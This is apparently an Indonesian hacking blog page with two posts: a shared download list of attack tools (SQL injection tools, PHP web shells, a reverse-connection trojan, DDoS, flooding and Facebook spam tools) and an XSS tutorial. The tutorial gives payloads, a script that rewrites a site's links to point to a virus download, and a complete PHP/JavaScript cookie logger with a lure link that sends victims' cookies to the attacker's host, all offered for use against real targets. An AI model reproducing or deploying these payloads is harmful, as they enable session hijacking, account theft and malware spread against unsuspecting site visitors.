Hack Tolls

Mungkin tool ini udah banyak yg punya, tp gak ada salah nya kan kalo gue share lagi :D







Link Downloadnya disini

Fungsi Tolls nya KK::

1.acunetix : untuk scanning web
2.Havij:Explorasi kelemahan bug's SQL
3.Dragon Browser:Browser buat mempermudah hacking
4.Dns Lan guard:Scanning Komputer di jaringan Lan
5.Netcat:tentu tahu dunk ,bisa disebut Swiss Army kit
6.Alballo:sama dengan acunetix,tapi lebih komplit acunetix
7.Undepfreze:mematikan depfrezee ver 7
6.Google Extractor:Scanning Bugs web,lebih khusus ke carding sebenernya
7.Shell PHP:kumpulan php shell ( c99,r57,b374k)
8.Doork Tools:sama dengan Google extractor,tapi lebih ke bugs sql
9.Google hack DB:kumpulan database google hack
10.Nikto:scanning web
11.Pangolin:sama dengan havij
12.Joomla+MD5 Hash:crack hash joomla dan md5
13.Xalp Page Finder:Scanning halaman Admin
14.Exploit Scanner:sama dengan Google extractor dan dork tools
15.Pasware kit:Crack Password suatu file yang terproteksi
16.Assasin:Trojan Reverse connection
17.Cain&Abel:sniffer,crack password
18.Flood Facebook:Spam wall facebook teman
19.Drakjumper:scanning server
20.digital blaster:Tools DDOS
21.Etherflood:Flood mac address

Thank you =))

Read More »

Simpel XSS

XSS (Cross Site Scripting) bisa digunakan untuk memasukkan kode berbahaya ke sebuah website. Biasanya sih javascript, tapi dapat digunakan untuk php dan html juga
Serangan XSS inject ke dalam URL, dan dieksekusi .

Contoh :

http://www.contoh.com/search.php?&searchfor=<script>alert("XSS")</script>

ane gunain

<script>alert("XSS")</script>

sebagai contoh bisa juga

"><script>alert('XSS');</script>

jika website vuln terhadap xss maka akan keluar messagebox

ato klo mau pake tools add-on pirepox donlot dimari.

Maka bisa dihajar tuh web dg berbagai cara

1. Sebarin Virus
http://www.contoh.com/index.php?download...t;window.onload = function() {var AllLinks=document.getElementsByTagName(“a”); AllLinks[0].href = “http://www.websitekita.com/virussaya.exe”; }</script>

2. Nyolong akun pake stealing session/cookie
buatlah cookie logger nyang terdiri dari 2 file (Cookiemonster.php Cookies.txt )
+ Cookiemonster.php

(strlen($_SERVER['QUERY_STRING']) > 0) {
    $fp=fopen('./cookies.txt', 'a');
    fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
    fclose($fp);
} else {
?>

var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';

function URLEncode(str)
{
    // The Javascript escape and unescape functions do not correspond
    // with what browsers actually do...
    var SAFECHARS = "0123456789" +        // Numeric
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +    // Alphabetic
        "abcdefghijklmnopqrstuvwxyz" +
        "-_.!~*'()";        // RFC2396 Mark characters
    var HEX = "0123456789ABCDEF";

    var plaintext = str;
    var encoded = "";
    for (var i = 0; i < plaintext.length; i++ ) {
        var ch = plaintext.charAt(i);
        if (ch == " ") {
            encoded += "+";                // x-www-urlencoded, rather than %20
        } else if (SAFECHARS.indexOf(ch) != -1) {
            encoded += ch;
        } else {
            var charCode = ch.charCodeAt(0);
            if (charCode > 255) {
                alert( "Unicode Character '"
    + ch
    + "' cannot be encoded using standard URL encoding.\n" +
                    "(URL encoding only supports 8-bit characters.)\n" +
          "A space (+) will be substituted." );
                encoded += "+";
            } else {
                encoded += "%";
                encoded += HEX.charAt((charCode >> 4) & 0xF);
                encoded += HEX.charAt(charCode & 0xF);
            }
        }
    } // for

    return encoded;
};

cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'">';
document.write(html);

< ?php
}
?>

+ Cookies.txt biarin kosong kk

trus upload deh ke hosting kk
pasang jebakan betmen

<a href="javascript:document.location='http://www.websitekita.com/cookiemonster.php?cookie='+document.cookie;">Click here!</a>

sebarin ke target....hasilnya berada di cookies.txt

sebenarnya masih banyak yg bisa dilakuin dari XSS tapi yg ane tau baru itu doang =))

Read More »